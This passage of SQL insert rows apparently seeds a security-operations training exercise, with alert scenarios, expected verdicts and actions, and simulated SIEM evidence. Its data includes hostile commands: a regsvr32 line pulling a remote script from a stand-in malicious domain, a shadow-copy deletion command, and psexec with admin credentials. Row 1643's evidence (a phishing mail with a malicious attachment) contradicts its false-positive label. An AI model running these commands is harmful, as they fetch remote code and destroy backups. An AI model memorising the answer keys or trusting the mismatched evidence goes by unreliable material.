password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1641, 'False Positive: Legitimate Use of MSHTA', 'low', 'KAPE', 'MSHTA.exe execution detected, but upon investigation, it was used for legitimate automation tasks.', 'Suspicious Activity', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.130\",\"dst_ip\":\"\",\"username\":\"automation_user\",\"hostname\":\"automation-pc\",\"request_body\":\"\",\"command_line\":\"mshta.exe \\\"http://intranet.example.com/automation.hta\\\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta.exe \\\"http://intranet.example.com/automation.hta\\\"\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"HTA used for legitimate automation tasks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.130\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the automation machine.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"MSHTA was utilized for a legitimate purpose, related to internal automation, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1642, 'Suspicious Network Connection Detected', 'high', 'Splunk', 'A network connection to a known C2 server was detected from an internal machine, suggesting potential compromise.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:42:31Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.140\",\"dst_ip\":\"203.0.113.102\",\"username\":\"malicious_user\",\"hostname\":\"infected-pc\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP involved in multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.140\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known C2 server indicates a compromise and potential malware activity.\"}', 'Advanced', 'IR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1643, 'False Positive: Legitimate Email Forwarding Detected', 'low', 'Proofpoint', 'An email was forwarded to an external account, but investigation reveals it\'s an approved business practice.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:14Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"\",\"username\":\"user@example.com\",\"hostname\":\"mail-server\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"user@example.com\",\"url\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"user@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Email forwarding is part of approved business workflow.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the mail server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email forwarding activity is legitimate and part of regularly monitored business practices.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"False Positive: Legitimate Email Forwarding Detected\",\"date\":\"2026-03-15T20:58:15.851Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1644, 'Malware Execution via Regsvr32', 'critical', 'Velociraptor', 'Regsvr32 was used to execute a remote script from a known malicious domain, indicating potential malware installation.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:18:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.160\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"infected-workstation\",\"request_body\":\"\",\"command_line\":\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute a script from a malicious domain.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/shell.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted on this domain.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.160\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised workstation.\"}}],\"expected_actions\":[\"block_url\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 is being exploited to execute a remote script, indicative of malware installation.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1645, 'Unusual File Deletion Pattern Detected', 'high', 'FTK', 'A large number of volume shadow copies were deleted, often seen in preparation for ransomware encryption.', 'Malware', 'T1490', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:10:05Z\",\"event_type\":\"file_deletion\",\"src_ip\":\"192.168.1.170\",\"dst_ip\":\"\",\"username\":\"malicious_actor\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"vssadmin delete shadows /all /quiet\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"vssadmin delete shadows /all /quiet\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to delete volume shadow copies in ransomware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.170\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server executing deletion.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The deletion of volume shadow copies is a well-known precursor to ransomware encryption.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1646, 'False Positive: High Network Utilization During Backup', 'low', 'Splunk', 'Increased network activity detected, coinciding with scheduled data backup operations, not malicious activity.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.180\",\"dst_ip\":\"203.0.113.250\",\"username\":\"backup_admin\",\"hostname\":\"backup-system\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.250\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Trusted IP for remote storage during backups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.180\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup system.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network activity is attributed to scheduled backups, not unauthorized data exfiltration.\"}', 'Advanced', 'IR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.858Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.180\\\",\\\"dst_ip\\\":\\\"203.0.113.250\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-system\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
